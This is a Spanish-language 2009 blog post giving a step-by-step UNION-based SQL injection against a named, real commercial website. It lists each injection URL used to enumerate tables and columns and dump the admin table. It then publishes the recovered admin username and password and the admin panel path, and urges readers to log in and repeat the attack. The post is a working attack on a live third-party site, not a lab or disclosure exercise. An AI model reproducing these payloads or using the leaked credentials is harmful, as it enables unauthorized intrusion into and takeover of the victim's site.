lunes, 7 de septiembre de 2009

Injectión SQL con Gothic-X

WEB: http://directinformatica.es/
METODO DE ATAQUE: SQL INJECTION

Bueno empesaremos con buscar la parte de la web donde es vulnerable en este caso sera en:
http://directinformatica.es/detalle.php?id=
Verificamos si es vulnerable haciendo una consulta con solo ponerle ( ' ) una coma, efectivamente este sitio es vulnerable a sql, ¿como sabemos? por que nos arrojo un mensaje de error el cual es el siguiente:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/gedraqxj/public_html/detalle.php on line 35
El cual nos indica que es vulnerable, bueno ahora buscaremos cuántas columnas tiene el sitio agregando lo siguiente al final de la url de la web:
( detalle.php?id=-1+union+select+0,1,2,3,4,...,
En este caso tiene 9 columnas osea quedaria de la siguienteforma.
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,8--
Entrando veremos que nos arrojo unos numeritos en la web en este caso fueron : 8 , 4 , 2 .

ya estando aqui veremos si la web tiene information schema de manera que quede de esta forma agregando al final
+from+information_schema.tables--
y reemplazando cualquiera de los numeros nos arrojo la web por table_name quedando la url de la aiguiente manera:
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema--
Perfecto nos arrojo un texto CHARACTER_SETS el cual es una tabla y con eso confirmamos que tiene information schema, ahora buscaremos la tabla de usuario, usuarios o admin agregando al final:
+limit+1,1--
y quedaria de esta forma:
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema.tables+limit+1,1--
Ahora para que encontremos la tabla deseada avansaremos en el primer uno del limit de la siguiente manera.
+limit+2,1--
Hasta encontrar la tabla deseada. en esta web se tubo que avansar 20 para la tabla deseada y quedo de la siguiente manera:
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,table_name+from+information_schema.tables+limit+20,1--
Y nos dio como resultado: adm_usuario

Ahora como ver lo que esta dentro de la tabla, osea ver las columnas, bueno primero convertiremos la tabla a hexadecimal usualmente uso esta herramienta:

http://hwagm.elhacker.net/php/sneak.php

Bueno nos dio como resultado:
61646d5f7573756172696f
Al final de la url de la injection aditaremos el final reemplazando
.tables+limit+20+1--
por
columns+where(table_name=0xaquitabalaenhex)--
y

Donde tenemos table_name lo reemplazamos por column_name y nos quedaria de la siguiente manera:
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,column_name+from+information_schema.columns+where(table_name=0x61646d5f7573756172696f)--
Y vemos que nos arroja las columnas y para ir encontrando las columnas deseadas avansamos con +limit+1,1-- cambiando el 1 por 2 y asi susesivamente hasta encontrar las columnas deseadas.

En esta web encontramos las siguientes columnas:
id_user, id_tipo, nomb_user , nick_user , pass_user , acti_user
Bién ya con esas tenemos las esenciales que son: nomb_user y pass_user.

Ahora como vemos dentro de las columnas? bueno solo reemplazamos el final despues de +from+ y agregamos el nombre de la tabla que es adm_usuario y donde tenemos column_name reemplazamos por concat(columna,0x3a,columna) el 0x3a esta en hexadecimal y es ( : ), entonces nos quedaria de la siguiente manera nuestra url:
http://directinformatica.es/detalle.php?id=-1+union+select+0,1,2,3,4,5,6,7,concat(nick_user,0x3a,pass_user)+from+adm_usuario--
Y nos arrojara nuestra informacion deseada que es la siguiente:
admin:matias1
Ahora solo nos falta encontrar el admin panel, en la siguiente web es:
http://directinformatica.es/cms/
Así nos logeamos y hacemos lo que tengamos que hacer, creo que este final es más fácil de hacer.

Háganlo ustedes mismos y sí que es recontra facilísimo..

Con un poco de ayudita de Gothic-X

No hay comentarios:

Publicar un comentario